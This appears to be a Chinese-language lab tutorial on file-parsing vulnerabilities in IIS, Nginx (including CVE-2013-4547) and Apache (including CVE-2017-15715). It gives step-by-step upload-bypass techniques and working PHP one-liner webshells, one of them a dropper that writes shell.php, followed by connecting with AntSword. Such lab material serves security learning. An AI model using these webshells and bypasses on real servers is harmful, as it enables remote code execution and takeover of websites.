文件解析详解 (中间件)
当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配以.php后缀结尾的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将/xx.jpg/xx.php解析为 php ⽂件。原理:默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将/xx.jpg/xx.php解析为 php ⽂件。在有多个后
IIS
环境需要(iis6.x的)
windows2003 + iis6
1 安装iis 控制⾯板--添加或删除程序---添加/删除windows组件

2 安装完成后web服务扩展全部打开

3 网站的默认路径 c:/inetpub/wwwroot

iis6.x目录解析
在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏
1 在iis的网站根目录创建一个 a.asp的文件

2.在a.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码。

3. 在浏览器访问这个1.jpg文件 (发现asp代码被执行)

4.将2.jpg⽂件放到⽹站根⽬录下访问,发现其中的asp代码没有被解析。 由此可⻅.asp⽂件夹中的任意⽂件会被当做asp⽂件去执⾏


iis6.x畸形文件解析
IIS6 处理⽂件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含asa\cer\cdx


iis7.x
原理:默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将/xx.jpg/xx.php解析为 php ⽂件。
条件: php.ini⾥的cgi.fix_pathinfo=1 开启 iis7.x在fast-cgi模式运行下
环境配置:
1. 在windows10下安装旧版小皮

2. 配置php.ini文件 (将前面的分号去掉即可)

3. IIS -配置⽹站-- 处理程序映射--PHPStudy_FastCGI --请求限制--取消勾

4. 在网站根目录写个1.jpg 内容为php代码的

5. 如果单纯访问1.jpg是出不来的 我们在后面加个 xxxx.php即可给php代码执行(深度利用可以getshell 将phpinfo()改为一句话木马即可)

Nginx
nginx_parsing
原理:在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将/xx.jpg/xx.php解析为 php ⽂件
条件:Nginx <=0.8.37 cgi.fix_pathinfo=1
利用:
1. 搭建好docker环境
2.开启并进入容器


3.制作图片马,并上传


4.去拼接图片马路径 加xxx.php 让图片马进行解析

5.蚁剑进行连接

CVE-2013-4547
原理:此漏洞为⽂件名逻辑漏洞,该漏洞在上传图⽚时,修改其16进制编码可使其绕过策略,导致解析为php。当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配以.php后缀结尾的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析
利用:1. 开启docker容器

2.构造特殊的一句话木马 保存为shell.jpg
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
3.上传木马利用burp拦截 在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将原本两个空格的 0x20 0x20 修改为如下即 0x20 0x00 进⾏发包..



4.访问上传后的⽂件....由于url会将其编码,需要继续抓包修改 0x20 0x20 为 0x20 0x00



5. 我们构造的特殊的一句话木马会在同级目录下 生成一个shell.php 的木马 (这里看到已经解析,接下来就是蚁剑连接)

Apache
apache_parsing
原理:在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析,就再往左判断.
在有多个后缀的情况下,只要⼀个⽂件含有 .php 后缀的⽂件即将被识别成PHP⽂件,没必要是
最后⼀个后缀。利⽤这个特性,将会造成⼀个可以绕过上传⽩名单的解析漏洞。
利用:1.开启docker环境
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
2.构造木马 文件名为 1.php.jpg
111<?php @eval($_POST['cmd']);?>
3.去开放的环境上传木马

拼接路径 只有111 木马被解析 可以上蚁剑了


CVE-2017-15715
介绍:Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进⾏解析,导致绕过⼀些服务器的安全策略
利用:1.打开docker环境,进行访问

2.尝试上传⼀句话⽊⻢⽂件,发现被拦截..

3. 拦截包,在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功....


4.访问上传的evil⽂件在后⾯加上 %0a 再访问发现解析了其中的PHP代码,但后缀不是php说明
存在解析漏洞

连接

更多推荐





所有评论(0)